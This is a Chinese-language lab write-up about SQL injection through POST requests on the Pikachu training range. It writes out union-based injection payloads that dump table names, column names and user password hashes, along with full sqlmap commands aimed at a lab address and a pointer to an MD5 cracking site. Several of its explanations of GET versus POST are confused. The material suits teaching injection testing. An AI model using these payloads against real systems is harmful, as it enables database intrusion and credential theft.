Pikachu靶场:Post注入

271 阅读2分钟

靶场:pikachu
工具:burpsuite、sqlmap
两种方法:1.手动注入、2.Sqlmap

方法一:手动注入

1.bp抓包重放

image-20231228135359821.png

2.添加单引号构造闭合判断有无注点

报错了说明post请求,反之是get请求

image-20231228135527625.png

3.利用回显进行验证:

"id = 1 and 1=1" 不报错,确定是post请求,反之是get请求

image-20231228140511896.png

4.猜解sql语句中的字段数

分别执行:

id =1 and order by 1

image-20231228141609379.png

id =1 and order by 2

image-20231228141720736.png

id =1 and order by 3

image-20231228141838143.png

可知最大字段数为2

5.确定显示位置

image-20231228142356067.png 6.获取当前数据库

image-20231228142609350.png

获取当前数据库为"pikachu"

7.获取数据库中的表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&submit=%E6%9F%A5%E8%AF%A2

image-20231228143604538.png

8.找到关键表并获得字段名

一般来说"user"表是最有意思的东西

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&submit=%E6%9F%A5%E8%AF%A2

image-20231228143857750.png

9.查看该表的信息

id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2

image-20231228144402812.png

10.MD5反解

推荐这个MD5在线解码网站,真的巨好用:www.cmd5.com/

image-20231228145026995.png

依次拿到所有用户名和密码


方法二:sqlmap注入

1.使用burpsuite进行流量拦截,发现是post请求,紧接着是参数

image-20231228102636992.png

2.先找到当前所在数据库

python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" --current-db

image-20231228103518105.png

image-20231228103613316.png

3.获取所有表名

python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables

image-20231228103656921.png

image-20231228103857325.png

4.看着"user"表比较可疑,看一下该表有哪些列

python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables -T "users" --columns

image-20231228104122659.png

image-20231228104205211.png

**5.看到"username"和"password"了,准备dump一下

python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables -T "users" -C "username,password" --dump

image-20231228104645115.png

image-20231228104918291.png

image-20231228105330578.png

拿到了用户名和密码